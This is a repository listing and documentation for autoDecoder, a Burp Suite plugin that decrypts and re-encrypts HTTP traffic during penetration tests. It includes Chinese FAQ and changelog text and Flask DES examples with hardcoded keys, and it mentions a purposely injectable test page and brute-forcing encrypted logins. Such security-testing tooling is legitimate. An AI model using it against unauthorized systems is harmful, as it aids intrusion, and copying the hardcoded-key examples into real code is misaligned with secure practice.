├── FAQ.md ├── README.md ├── flasktest.py ├── flasktestheader.py ├── pom.xml ├── src ├── Utils │ ├── ClickEncodeDecode.java │ ├── Match.java │ ├── TestDecode.java │ ├── TestEncode.java │ └── Utils.java ├── burp │ ├── BurpExtender.java │ ├── IndexautoDecoder.form │ ├── IndexautoDecoder.java │ ├── test.java │ ├── ui │ │ ├── FileReadingGUI.java │ │ ├── FileSavingGUI.java │ │ ├── HackvertorInput.java │ │ ├── JPanelSizeExample.java │ │ ├── JTableExample.java │ │ ├── JTableWithCustomTextColumnExample.java │ │ ├── ObjectArrayInsertion.java │ │ ├── SM4.java │ │ ├── iMessageEditorTab.java │ │ └── test.java │ └── util │ │ ├── BurpCallbacks.java │ │ ├── JSONConverter.java │ │ ├── TableRead.java │ │ ├── autoDecoderutil.java │ │ ├── fastjsontest.java │ │ └── guitool.java ├── com │ └── autoDecoder │ │ └── util │ │ ├── RSAencode.java │ │ ├── SM4.java │ │ ├── SM4Utils.java │ │ ├── SM4_Context.java │ │ ├── Util.java │ │ ├── codeDecode.java │ │ ├── codeEncode.java │ │ └── test.java ├── main │ └── resources │ │ └── assembly.xml └── model │ └── IRequestIn.java ├── testsql.php └── users.sql /FAQ.md: -------------------------------------------------------------------------------- 1 | ## 0x01.第一次使用 2 | 3 | 1. 第一次使用建议使用样例进行加解密流程的https://mp.weixin.qq.com/s/B-lBbVpJsPdCp1pjz2Rxdg 4 | 5 | 2. 加解密的时候核对一下三个地方的参数: 6 | 7 | 【明文关键字与密文关键字不可重复,否则取密文关键字的判断优先】 8 | 9 | `加解密的域名` 只有出现该域名的请求包会进行加解密操作(`autoDecoder`选项卡与此参数有关) 10 | 11 | `明文关键字` 当请求体内出现该关键字即进行加解密操作(换行符为分隔符,支持多个关键字) 12 | 13 | `密文关键字` 当请求体内出现该关键字即不进行加解密操作(换行符为分隔符,支持多个关键字) 14 | 15 | image 16 | 17 | ### 务必注意,密文关键字与明文关键字不可以重合,重合会出现很多问题 18 | #### 修改任何配置以后都要去保存配置,否则不生效 19 | #### 修改任何配置以后都要去保存配置,否则不生效 20 | #### 修改任何配置以后都要去保存配置,否则不生效 21 | 22 | 3. 有代码基础的建议使用接口进行加解密,可以自定义请求的内容,自由替换;工具本身自带加解密满足不了现在大部分应用的加解密需求。 23 | 24 | 4. 可以参考下列文章进行使用,配合加解密靶场 https://github.com/SwagXz/encrypt-labs 25 | - 加密对抗靶场enctypt-labs通关 https://flowus.cn/share/a1d890c2-f72b-4534-93cf-37db6dab5d21 26 | - 加密对抗靶场enctypt-labs通关 https://mp.weixin.qq.com/s/ZgD7qAQAsNlZgLtdZVCoFw 27 | 28 | ## 0x02.在`repeater`模块出现解密错误问题 29 | 30 | 进入`Burp Suite`的`logger`模块(或者`logger++`模块)查看当前请求的实际数据包(在`repeater`内的数据包被autoDecoder处理过,所以会提示解密失败),进而分析是什么原因 31 | 32 | 1. 可能使用了工具自带的加解密,目前工具仅支持请求包、响应包同时加解密,一旦响应包为非加密的,就会报解密的错误,而使用接口加解密,就可以很好解决此问题 33 | 2. 使用了接口加解密,考虑代码编写问题,如函数的入参、函数的返回值等错误 34 | 35 | 36 | 37 | ## 0x03.接口脚本参数 38 | 39 | 参考示例见[flasktestheader.py](https://github.com/f0ng/autoDecoder/blob/main/flasktestheader.py)(处理请求头)与[flasktest.py](https://github.com/f0ng/autoDecoder/blob/main/flasktest.py)(DES加解密示例)脚本 40 | 41 | 参数解释如下: 42 | 43 | ### 函数入参为 44 | 45 | #### 1.`dataBody` 请求体,传参为flask框架传参,使用`body = request.form.get('dataBody')`获取,以下示例为整个flask对象[打印request.form]: 46 | 47 | 正常POST格式(application/x-www-form-urlencoded) 48 | 49 | `ImmutableMultiDict([('dataBody', 'a=1&b=2&c=3')])`(原始数据为a=1&b=2&c=3) 50 | 51 | JSON格式(application/json) 52 | 53 | `ImmutableMultiDict([('dataBody', '{"f0ng":"onlysecurity"}')])`(原始数据为{"f0ng":"onlysecurity"})等 54 | 55 | 56 | 57 | #### 2.`dataHeaders `请求头,使用`headers = request.form.get('dataHeaders')`获取,以下示例为整个flask对象[打印request.form]: 58 | 59 | ```java 60 | ImmutableMultiDict([('dataBody', '{"id":"1"}'), ('dataHeaders', 'POST /0828/testsql.php HTTP/1.1\r\nHost: 10.211.55.4\r\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\r\nAccept-Encoding: gzip, deflate\r\nConnection: keep-alive\r\nUpgrade-Insecure-Requests: 1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 39\r\n')]) 61 | ``` 62 | 63 | 原始数据为(数据包的换行分隔符为`\r\n`) 64 | 65 | ``` 66 | POST /0828/testsql.php HTTP/1.1 67 | Host: 10.211.55.4 68 | User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0 69 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 70 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 71 | Accept-Encoding: gzip, deflate 72 | Connection: keep-alive 73 | Upgrade-Insecure-Requests: 1 74 | Content-Type: application/x-www-form-urlencoded 75 | Content-Length: 39 76 | 77 | {"id":"1"} 78 | ``` 79 | 80 | 获取相应参数的代码如下(flask框架的读取参数方法,也可以用其他框架,这里仅以flask进行举例): 81 | 82 | ``` 83 | body = request.form.get('dataBody') # 获取 post 参数 必需 84 | headers = request.form.get('dataHeaders') # 获取 post 参数 可选 85 | ``` 86 | 87 | #### 3.`requestorresponse`标识为请求包还是响应包(可选为request和response),使用`reqresp = request.form.get('requestorresponse')`获取参数,以下示例为整个flask对象[打印request.form]: 88 | ```Java 89 | ImmutableMultiDict([('dataBody', 'dCtLdlmk7wI='), ('requestorresponse', 'response')]) 90 | ``` 91 | 92 | 93 | ### 函数出参为 94 | 95 | #### 4.1`body`(当未勾选对请求头加密时) 96 | 97 | 传入的为请求体,传出的为处理后的请求体 98 | 99 | ``` 100 | I9z1fsH5QQ2NUbJi/7a8lw== 101 | ``` 102 | 103 | 104 | 105 | #### 4.2.`headers + "\r\n\r\n\r\n\r\n" + body`(当勾选对请求头加密时) 106 | 107 | 传入的为请求头与请求体,传出的为处理后的请求头与请求体(这里未处理请求体,所以请求体是未处理过的) 108 | 109 | 这里的`\r\n\r\n\r\n\r\n`是为了区分开headers与body,是必需的 110 | 111 | ``` 112 | POST /0828/testsql.php HTTP/1.1 113 | Host: 10.211.55.4 114 | User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0 115 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 116 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 117 | Accept-Encoding: gzip, deflate 118 | Connection: keep-alive 119 | Upgrade-Insecure-Requests: 1 120 | Content-Type: application/x-www-form-urlencoded 121 | Content-Length: 39 122 | aaaa:bbbb 123 | f0ng:test 124 | 125 | 126 | 127 | {"id":"1"} 128 | ``` 129 | 130 | 131 | ## 0x04 项目不支持`pkcs7`加密? 132 | 133 | 实际上是已经实现的,因为AES并没有64位的块, 如果采用PKCS5, 那么实质上就是采用PKCS7 134 | 135 | ## 0x05 在burp中不出现`autoDecoder`选项卡? 136 | 137 | 需要配置生效的域名 138 | 139 | ## 0x06 使用二进制base64后数据被损坏 140 | 141 | 需要修改一下burp的设置,具体修改如下: 142 | 143 | - 勾选User options->Character Sets中的`Use the platform default(UTF-8)`[Mac],或者勾选`Display as raw bytes`[Windows] 144 | 145 | 146 | ~~## 0x07 调试模块有换行存在~~ 0.31版本删除 147 | 148 | ~~这里是为了方便调试,自动加的换行,在repeater、intruder模块是没有换行的,所以不必担心~~ 149 | 150 | 151 | ## 0x08 调试模块可以正常进行加解密,但是在repeater、proxy模块没有获取正常变量(没有正常进行加解密) 152 | 153 | 1. 调试模块是textarea数据包是字符串格式,而在repeater里是http包格式,所以在repeater、proxy模块中会有\r\n,在获取字符串的时候可以进行\r\n的替换即可 154 | 2. 关键字问题,调试模块不会受到关键字的影响,只会根据使用者的按钮进行加密、解密,而在实际运用中,在repeater、proxy模块,会受到关键字的影响 155 | 156 | ## 0x09 明文关键字、密文关键字如何理解 157 | 158 | - 明文关键字 159 | 160 | 即解密后是明文的关键字,可以配合手工进行测试,当标识为明文关键字后,手动请求明文,会经过插件加密为密文再发送到服务端,服务端返回密文,插件自动解密至选项卡,做到明文请求,明文响应 161 | ,明文关键字可以是明文框里的任意一个字符,但是为了和字符区分开,一般取 { 或者 " 这种json数据的 162 | 163 | - 密文关键字 164 | 165 | 即标示为密文的关键字,这里设置了密文关键字以后,任何标示为密文的请求体就不会进行加密,防止二次加密的产生,比如上图中的,就无法进行密文关键字标识,因为密文是字符,不可预测 166 | 167 | 两个关键字设置的初衷,就是为了在同一种环境中,既有加密的包,又有不加密的包,来进行区分;也为了在加密环境下,应用程序会取上一个数据包的密文作为下一个数据包的参数进行发送请求,如果自动解密成明文下一个数据包的参数就无法获取,导致应用程序无法正常运行,而设置了明文关键字、密文关键字,可以很好解决该问题 168 | 169 | ## 0x10 明文修改后进行发包,但是请求包返回原来的明文 170 | 171 | 问题出现于2021.10.1以后(可能往前几个版本也有),目前不知道什么原因,解决方法是把数据包粘贴在repeater模块的`raw`中,进行发包,不要在`autodecoder`选项卡中发包 172 | 173 | 174 | 175 | ~~0x11 自带的sm4加解密有问题?~~ 176 | 177 | #### 0.50版本修复,之前的原因在于 JCE cannot authenticate the provider BC ,故抛弃三方库进行实现,完美避免这个报错 178 | 179 | ~~sm4模块确实有问题,特别是一些不可见字符的,目前用的是原生的代码实现的,用不了现成的三方库,用sm4的建议还是用接口加解密~~ 180 | 181 | 182 | ## 0x12 正则模块使用问题 183 | 184 | 正则模块只对请求体、响应体有效,不作用于数据头,且正则需要按照案例中正则进行参考编写 185 | 186 | 187 | ## 0x13 插件是不是不支持识别get参数?(插件是不是没办法获取数据包的header?) 188 | 189 | 勾选对数据头进行处理,python-flask代码中示例`dataHeaders `请求头,使用`headers = request.form.get('dataHeaders')`获取 190 | 191 | 192 | ## 0x14 插件是不是不支持并发? 193 | 194 | 理论上支持,但是由于代码处理密文数据、明文数据需要时间,所以高并发【burp默认线程这种】会导致加密/解密报错,建议用低并发进行处理 195 | 196 | ## 0x15 使用接口加解密得到的数据包会多一个换行 197 | 198 | 可以检查headers或者body是否使用`strip()【python语言】`这种去除首尾换行函数进行处理了,可以参考模板文件`flasktest.py`和`flasktestheader.py` 199 | 200 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # autoDecoder 2 | 3 | [![Repo stars](https://img.shields.io/github/stars/f0ng/autoDecoder)](https://github.com/f0ng/autoDecoder/stargazers) 4 | [![Downloads total](https://img.shields.io/github/downloads/f0ng/autoDecoder/total?label=Downloads)](https://github.com/f0ng/autoDecoder/releases) 5 | [![Repo tags](https://img.shields.io/github/v/tag/f0ng/autoDecoder?label=Latest)](https://github.com/f0ng/autoDecoder/tags) 6 | [![Downloads latest total](https://img.shields.io/github/downloads/f0ng/autoDecoder/latest/total?label=Downloads@latest)](https://github.com/f0ng/autoDecoder/releases) 7 | 8 | 9 | 10 | 想维护成一个有很多用例、接口的项目,希望各位师傅有加解密之类的需求可以一起沟通,完善本项目。 11 | 12 | 工具针对人群:有一定代码基础的师傅、没有基础(但是愿意自主学习捣鼓自动加解密)的师傅 13 | 14 | # 关于autoDecoder的案例移步[autoDecoder-usages](https://github.com/f0ng/autoDecoder-usages),对很多想自行编写接口的师傅会有帮助 15 | # 接口代码模板不要随便去改动获取参数和返回的格式,否则会出现乱码、无法正常运行等问题 16 | 17 | 18 | 19 | 交流群 20 | 21 | image 22 | 23 | 二维码失效请加微信`f-f0ng`、备注autoDecoder交流 24 | 25 | 关注主页公众号(only security),回复`autodecoder`获取下载地址】 26 | 27 | # 捐赠 (如果项目有帮助到您,可以选择捐赠一些费用用于autoDecoder的后续版本维护,本项目长期维护) 28 | image 29 | 30 | image 31 | 32 | ## 有问题先到[FAQ](https://github.com/f0ng/autoDecoder/blob/main/FAQ.md)查看 33 | 34 | ## 简单流程图 35 | 36 | 37 | 38 | 45 | 52 | 59 | 60 |
39 |
40 | 正常流程图 41 | 42 |
43 |
44 |
46 |
47 | 通过autoDecoder处理的流程之对于密文的处理 48 | 49 |
50 |
51 |
53 |
54 | 通过autoDecoder处理的流程之对于明文的处理 55 | 56 |
57 |
58 |
61 | 62 | ## 2024.12.30 更新0.52 预祝大家元旦快乐! 63 | 1. 接口调试模块增加关键字代入模式,防止关键字引发报错 64 | 2. 接口模式下加解密将报错回显,可以知道是具体是哪个问题导致加解密失败 65 | 66 | 当返回包格式出问题 67 | 68 | gagsjjcg o4n 69 | 70 | 当接口不通 71 | 72 | i3w34g2g f2x 73 | 74 | 也可以在Extensions页面查看报错信息 75 | 76 | wtc30zsn qak 77 | 78 | 79 | ## 2024.10.12 更新0.51 80 | 1. 修复替换模块host匹配问题 81 | 2. 优化替换模块,增加自动解unicode模式,需要为Literal模式,Replace需为`#unicode#`,响应包的unicode编码就会自动解码 82 | x1u2kzeg nao 83 | 84 | ## 2024.9.24 更新0.50 85 | 1. 修复sm4加解密错误 86 | 87 | ## 2024.5.5 更新0.40 88 | 1. 修复sm4加解密bug(base64) 89 | 2. 增加密文关键字对响应体的判断 90 | 91 | ## 2024.3.17 更新0.39-beta1 92 | 1. 修复加密bug(SM4与AES) 93 | 94 | ## 2024.3.13 更新0.39 95 | 1. 修复SM4中的base64加解密bug 96 | 2. 修复AES/DES加密中base64解密的bug 97 | 98 | ## 2024.2.2 更新0.38 99 | 1. 优化SM4、SM2加解密 100 | 2. 优化正则匹配替换 101 | 102 | ## 2024.1.2 更新0.37 新年第一更,祝大家新年快乐! 103 | 1. 自带加解密增加sm2、sm4(CBC、ECB)加解密 104 | 2. 正则表达式保存进配置文件 105 | 106 | ## 2023.12.18 更新0.36 107 | 1. 修复了替换开关默认选中的问题 108 | 2. 接口加解密调试优化 109 | 3. 优化header头关键字判断 110 | 111 | ## 2023.11.22 更新0.35 112 | 1. 增加加载配置文件、保存配置文件的模块,后续使用可以根据配置文件的命名来进行加载配置 113 | 2. 增加请求、响应替换功能,类似burp的`Match and Replace`模块,增加提取模块,案例配置如下 114 | 115 | image 116 | 117 | 正常响应 118 | 119 | 120 | 121 | 修改后的响应 122 | 123 | 124 | 125 | ## 2023.11.11 更新0.34 126 | 1. 增加header头关键字判断 127 | 128 | ## 2023.10.23 更新0.33 129 | 1. 增加响应base64自动解码,当响应包返回的为base64时,可以自动解码,防止二进制数据包损坏 130 | 2. 增加选项保存、读取 131 | 132 | ## 2023.9.16 更新0.32 133 | 1. 明文关键字、密文关键字的设置优化 134 | 135 | ## 2023.9.5 更新0.31 136 | 1. 域名匹配模块中可以进行多域名匹配,修复了原版本无法在多个域名下显示选项卡问题 137 | 2. 将接口调试模块的两个换行符取消 138 | 139 | ## 2023.7.6 更新0.30 140 | 1. `Repeater、Intruder`模块中,增加右键加密、解密,当设置好相应的方法后可以对请求体的body进行加密、解密 141 | 2. 修复`Send to Repeater、Send to Intruder`不会带上端口号的问题 142 | 143 | ## 2023.5.22 更新0.27 144 | 1. autoDecoder扩展选项卡增加右键`Send to Repeater、Send to Intruder`,并且增加格式化,目前仅针对json格式 145 | 146 | ## 2023.5.17 更新0.26 147 | 1. 修复了勾选`对请求头处理`后,请求头缺失问题 148 | 2. 增加对密文URL解码读取、加密后的密文URL解码选项 149 | 3. 修复其他问题,如指定域名端口号不出现扩展选项卡、windows下中文解密乱码等问题 150 | 151 | 感谢微信群yosel 师傅反馈 152 | 153 | ## 2023.4.25 更新0.25 154 | 1. 增加二进制请求体、响应体处理,原理为将请求包的内容base64编码后传入接口,需要对burp做以下设置,否则获取到的编码为损坏的 155 | - 需要勾选User options->Character Sets中的`Use the platform default(UTF-8)`[MAC],或者勾选`Display as raw bytes`[Windows] 156 | 157 | ## 2023.4.14 更新0.24-beta2 158 | 1. RSA加解密 159 | 2. 响应包正则模式加解密 160 | 161 | ## 2023.4.12 更新0.24-beta1 162 | 1. 根据加密方式对key进行截取 163 | 2. 修复只选中接口加解密无法进行加解密的问题 164 | 165 | ## 2023.4.8 更新0.24 166 | 1. 优化测试接口数据包显示 167 | 2. 增加zeropadding填充模式加密 168 | 3. 优化base64解码问题 169 | 170 | ## 2023.2.22 更新0.23 171 | 1. 优化了插件的一些问题 172 | 2. 案例移步[autoDecoder-usages](https://github.com/f0ng/autoDecoder-usages) 173 | 174 | ## 2023.2.16 更新0.22-beta1 175 | 1. 优化了读取密文的时候将`\u0000`去除的问题 176 | 2. 在自带算法中,将请求包加解密、响应包加解密分离开,可以选中加密算法`null`表示不进行加解密,返回原数据包 177 | 178 | 179 | ## 2023.2.15 更新0.22 重大更新 180 | 1. 重构UI页面,之前的UI太混乱,花了点时间重构了页面UI 181 | image 182 | 183 | 2. 增加自带算法加解密的正则提取,当正则表达式有内容时生效,针对两种情况: 184 | 1. 只有请求加密的情况 185 | 2. 在爆破攻击中,对账号密码加密 186 | 187 | 配置页面 188 | 189 | image 190 | 191 | 192 | image 193 | 194 | 195 | 原始请求 196 | 197 | image 198 | 199 | 真实请求 200 | 201 | image 202 | 203 | 解密后 204 | 205 | image 206 | 207 | 208 | 3. 增加接口加解密时的调试页面,方便代码进一步编写 209 | 210 | 正常解密请求包 211 | 212 | image 213 | 214 | 正常解密响应包 215 | 216 | image 217 | 218 | 219 | 处理请求头 220 | 221 | image 222 | 223 | 224 | ## 2023.2.14 更新0.21 225 | 1. 增加burp模块按钮,防止与其他模块(如插件Extender)产生的请求冲突 226 | 2. 优化插件解密读取密文方式,进行URL解码后读取 227 | 228 | ## 2023.1.5 更新0.20 229 | 1. 增加`RSA解密` 一个例子 230 | 2. 优化选项卡数据包设置,不影响repeater本身的数据包内容 231 | 232 | 233 | 240 | 247 | 248 |
234 |
235 | 解密请求包 236 | 237 |
238 |
239 |
241 |
242 | 解密请求包后不影响原请求包 243 | 244 |
245 |
246 |
249 | 250 | ## 2022.9.7 更新0.19 251 | 252 | - 增加请求包、响应包不同加密算法按钮【仅针对接口加解密模式】,针对于请求包、响应包使用不同的加密算法(实现方式为:在请求解密接口同时,传入参数`requestorresponse`,表明是请求[`request`]还是响应[`response`]) 253 | 254 | image 255 | 256 | - 修改了ui,优化了在新版bp上`html`无法解析的问题 257 | 258 | ## 2022.5.18 更新0.18 259 | 260 | - 增加`3DES加密`、 `AES加密`、 `JSON嵌套加密`三个例子 261 | 262 | - 在明文发出请求的时候,如果响应包选中了默认选项卡,则无影响;但是当响应包选中了扩展选项卡,还会进行解密,导致请求包内的响应体报错,`0.18`修复该问题:明文发出请求,响应包只有明文。 263 | - 增加密文关键字,出现该关键字则不进行加密,具体可以查看例json嵌套加密 264 | ## 2022.5.15 更新0.17 265 | - 优化Desede(3DES)加密处理问题,3DES加密的密钥为24位,当输入超过24位将会报密钥长度错误,处理方式为对密钥长度进行了截取 266 | 267 | ## 2022.5.11 更新 0.16 268 | 1. 增加响应头处理,传入参数同样为`dataHeaders` 269 | ``` 270 | # -*- coding:utf-8 -*- 271 | # author:f0ngf0ng 272 | 273 | from flask import Flask,Response,request 274 | from pyDes import * 275 | import base64 276 | app = Flask(__name__) 277 | 278 | @app.route('/encode',methods=["POST"]) 279 | def encrypt(): 280 | body = request.form.get('dataBody') # 获取 post 参数 必需 281 | headers = request.form.get('dataHeaders') # 获取 post 参数 可选 282 | 283 | if headers != None: # 开启了请求头加密 284 | headers = headers + "aaaa:bbbb\r\n" 285 | headers = headers + "f0ng:test" 286 | print(headers + "\r\n\r\n\r\n\r\n" + body) 287 | return headers + "\r\n\r\n\r\n\r\n" + body # 返回值为固定格式,不可更改 288 | 289 | return body 290 | 291 | @app.route('/decode',methods=["POST"]) # 不解密 292 | def decrypt(): 293 | body = request.form.get('dataBody') # 获取 post 参数 必需 294 | headers = request.form.get('dataHeaders') # 获取 post 参数 可选 295 | if headers != None: # 开启了响应头加密 296 | print(headers + "\r\n\r\n\r\n\r\n" + body) 297 | headers = headers + "yyyy:zzzz\r\n" 298 | headers = headers + "f0ng:onlysecurity" 299 | return headers + "\r\n\r\n\r\n\r\n" + body # 返回值为固定格式,不可更改 300 | 301 | return body 302 | 303 | if __name__ == '__main__': 304 | app.debug = True # 设置调试模式,生产模式的时候要关掉debug 305 | app.run(host="0.0.0.0",port="8888") 306 | ``` 307 | 308 | 原始请求响应 309 | 310 | image 311 | 312 | 313 | 经过autoDecoder处理后的响应 314 | 315 | image 316 | 317 | 318 | 2. 修复当请求体为空时候的报错 319 | 3. 修复当关键词置空时造成多出一个换行符的问题 320 | ## 2022.5.7 更新 0.15 321 | 322 | * 优化设置域名处的端口问题,两种模式: 323 | 324 | ①只输入域名,匹配域名与任意端口号 325 | 326 | image 327 | 328 | 匹配所有`www.baidu.com:端口号`,如`www.baidu.com:8080`、`www.baidu.com:8088` 329 | 330 | ②输入域名与端口号,匹配唯一域名与端口号host 331 | 332 | image 333 | 334 | 只匹配`www.baidu.com:8080` 335 | 336 | 337 | 338 | ## 2022.4.26更新 0.14 339 | 340 | 1. 增加对整个请求包的处理,具体怎么修改,根据个人需要不同进行自定义了,模板文件为`flasktestheader.py` 341 | 342 | 配置如下: 343 | 344 | 345 | 346 | 原始请求包,捕捉整个请求如下,在请求包添加额外的请求头`aaaa:bbbb`、`f0ng:test` 347 | 348 | 349 | 350 | 实际请求包 351 | 352 | 353 | 354 | 2. 增加自定义设置明文关键字,当请求体中出现了相应的关键字则不对数据包进行处理,取`contains`进行判断 355 | ## 2022.4.22更新 0.13 356 | 357 | 1. 对于`\r\n`的请求包处理不够完善,0.13版本修复该问题 358 | 359 | 2. 增加案例1`登录口爆破之ldap的md5加密`,案例2`sql注入绕过之sqlmap的数据包换行问题`,方便更好使用工具进行渗透测试 360 | ## 0x01 背景 361 | - 当数据包里都是密文,我们无从下手;就算是获得了加解密的一些关键信息,能解密出来,但是每个数据包我们都需要慢慢解密,请求包需要解密,响应包也需要解密,比较麻烦 362 | - 其实取auto这个名字并不是真正的auto,加解密算法还是需要自己去逆出来的,只是相对于数据包里的密文来说,可以算是半自动 363 | 364 | ## 0x02 优点 365 | - 明文传,明文响应;密文传,密文响应,不影响原本通讯包的基础上,增加一个bp扩展页面查看明文信息 366 | - 自定义加解密的接口,当存在复杂数据加密的时候,可以自行编写python代码对接口进行加解密, 自定义需要加解密域名,即开即用 367 | 368 | ## 0x03 插件的加解密方式 369 | - 直接通过插件自带的算法去加解密数据包(较为简单,仅支持部分AES、DES、DESede加密) 370 | - 通过python的flask接口去编写加解密数据包的api(不一定是flask框架,也可以起其他框架,只需要接口地址正确且加解密流程正确即可) 371 | 372 | ## 0x04 文件介绍: 373 | - `users.sql` 为测试所用数据库 374 | 375 | - `testsql.php` 为加密请求数据、加密响应数据且存在注入的页面 376 | 377 | - `flasktest.py` 为测试文件编写的Python flask加解密接口。 378 | 379 | 详细举例可至公众号查看https://mp.weixin.qq.com/s/B-lBbVpJsPdCp1pjz2Rxdg 380 | 381 | >## 通过自带加解密算法进行解密 382 | ![通过自带加解密算法进行解密](https://user-images.githubusercontent.com/48286013/160236779-9848060d-94ff-493d-ace5-44aa85e6e444.gif) 383 | 384 | >## 通过flask接口进行解密 385 | ![通过flask接口进行解密](https://user-images.githubusercontent.com/48286013/160237163-cd57267e-7e11-49cb-8ec5-41a896f917bc.gif) 386 | 387 | >## sqlmap进行加解密 388 | ![sqlmap进行加解密](https://user-images.githubusercontent.com/48286013/160238771-dd33b0ef-1007-47a0-9659-c8a20ed6d89e.gif) 389 | 390 | 391 | -------------------------------------------------------------------------------- /flasktest.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | # author:f0ngf0ng 3 | 4 | from flask import Flask,Response,request 5 | from pyDes import * 6 | import base64 7 | 8 | def des_encrypt(s): 9 | """ 10 | DES 加密 11 | :param s: 原始字符串 12 | :return: 加密后字符串,16进制 13 | """ 14 | secret_key = "f0ngtest" 15 | iv = "f0ngf0ng" 16 | k = des(secret_key, CBC, iv, pad=None, padmode=PAD_PKCS5) 17 | en = k.encrypt(s, padmode=PAD_PKCS5) 18 | return base64.encodebytes(en).decode() 19 | 20 | def des_decrypt(s): 21 | """ 22 | DES 解密 23 | :param s: 加密后的字符串,16进制 24 | :return: 解密后的字符串 25 | """ 26 | secret_key = "f0ngtest" 27 | iv = "f0ngf0ng" 28 | k = des(secret_key, CBC, iv, pad=None, padmode=PAD_PKCS5) 29 | de = k.decrypt(base64.decodebytes(bytes(s,encoding="utf-8")), padmode=PAD_PKCS5) 30 | return de.decode() 31 | 32 | app = Flask(__name__) 33 | 34 | @app.route('/encode',methods=["POST"]) 35 | def encrypt(): 36 | param = request.form.get('dataBody') # 获取 post 参数 37 | encry_param = des_encrypt(param.strip("\n")) 38 | print(param) 39 | print(encry_param) 40 | return encry_param 41 | 42 | @app.route('/decode',methods=["POST"]) 43 | def decrypt(): 44 | param = request.form.get('dataBody') # 获取 post 参数 45 | decrypt_param = des_decrypt(param.strip("\n")) 46 | print(param) 47 | print(decrypt_param) 48 | return decrypt_param 49 | 50 | if __name__ == '__main__': 51 | app.debug = True # 设置调试模式,生产模式的时候要关掉debug 52 | app.run(host="0.0.0.0",port="8888") 53 | -------------------------------------------------------------------------------- /flasktestheader.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | # author:f0ngf0ng 3 | 4 | from flask import Flask,Response,request 5 | from pyDes import * 6 | import base64,re 7 | app = Flask(__name__) 8 | 9 | @app.route('/encode',methods=["POST"]) # 不要修改 不要修改 不要修改 永远都是POST获取参数,不管源数据包GET方法还是POST方法 10 | def encrypt(): 11 | body = request.form.get('dataBody') # 获取 post 参数 必需必需必需 获取数据包内body的内容 12 | headers = request.form.get('dataHeaders') # 获取 post 参数 可选 获取数据包内的数据头,需要勾选<对数据头进行处理>按钮 13 | reqresp = request.form.get('requestorresponse') # 获取 requestorresponse 参数 可选 获取是请求还是响应包,需要勾选<请求响应不同加解密>按钮 14 | print(body) 15 | print(headers) 16 | print(reqresp) 17 | 18 | #被#隔开的部分是处理header头的部分 19 | ################################################################ 20 | ################################################################ 21 | if headers != None: # 开启了请求头加密 22 | print(headers) 23 | try: 24 | param_uri = re.findall(r'[POST|GET|PUT] /(.*?)[ ]', headers)[0] # 提取请求的uri及参数 25 | print(param_uri) 26 | param_uri_total = param_uri + "&b=22222222" 27 | headers = headers.replace(param_uri, param_uri_total, 1) # 用修改后的uri替换原参数中的uri 28 | except: 29 | pass 30 | 31 | headers = headers + "aaaa:bbbb\r\n" 32 | headers = headers + "f0ng:test" 33 | print(headers + "\r\n\r\n\r\n\r\n" + body) 34 | return headers.strip() + "\r\n\r\n\r\n\r\n" + body # 返回值为固定格式,不可更改 必需必需必需,共四个\r\n 35 | ################################################################ 36 | ################################################################ 37 | 38 | return body # 返回值为固定格式,不可更改 必需必需必需 39 | 40 | @app.route('/decode',methods=["POST"]) # 不要修改 不要修改 不要修改 永远都是POST获取参数,不管源数据包GET方法还是POST方法 41 | def decrypt(): 42 | body = request.form.get('dataBody') # 获取 post 参数 必需必需必需 获取数据包内body的内容 43 | headers = request.form.get('dataHeaders') # 获取 post 参数 可选 获取数据包内的数据头,需要勾选<对数据头进行处理>按钮 44 | reqresp = request.form.get('requestorresponse') # 获取 requestorresponse 参数 可选 获取是请求还是响应包,需要勾选<请求响应不同加解密>按钮 45 | print(body) 46 | print(headers) 47 | print(reqresp) 48 | # 被#隔开的部分是处理header头的部分,需要勾选<对数据头进行处理>按钮 49 | ################################################################ 50 | ################################################################ 51 | if headers != None: # 开启了响应头加密 52 | print(headers) 53 | try: 54 | param_uri = re.findall(r'[POST|GET|PUT] /(.*?)[ ]', headers)[0] # 提取请求的uri及参数 55 | print(param_uri) 56 | param_uri_total = param_uri + "&b=22222222" 57 | headers = headers.replace(param_uri, param_uri_total, 1) # 用修改后的uri替换原参数中的uri 58 | except: 59 | pass 60 | headers = headers + "yyyy:zzzz\r\n" 61 | headers = headers + "f0ng:onlysecurity" 62 | return headers.strip() + "\r\n\r\n\r\n\r\n" + body # 返回值为固定格式,不可更改 必需必需必需,共四个\r\n 63 | ################################################################ 64 | ################################################################ 65 | 66 | return body # 返回值为固定格式,不可更改 必需必需必需 67 | 68 | if __name__ == '__main__': 69 | app.debug = True # 设置调试模式,生产模式的时候要关掉debug 70 | app.run(host="0.0.0.0",port="8888") 71 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 4 | 4.0.0 5 | com.f0ng.autoDecoder 6 | autoDecoder 7 | 0.39-beta1 8 | 9 | src 10 | 11 | 12 | maven-compiler-plugin 13 | 3.7.0 14 | 15 | 1.8 16 | 1.8 17 | 18 | 19 | 20 | 21 | maven-assembly-plugin 22 | 23 | 24 | jar-with-dependencies 25 | 26 | 27 | 28 | 29 | true 30 | 31 | 32 | 33 | 34 | 35 | 36 | make-assembly 37 | package 38 | 39 | single 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 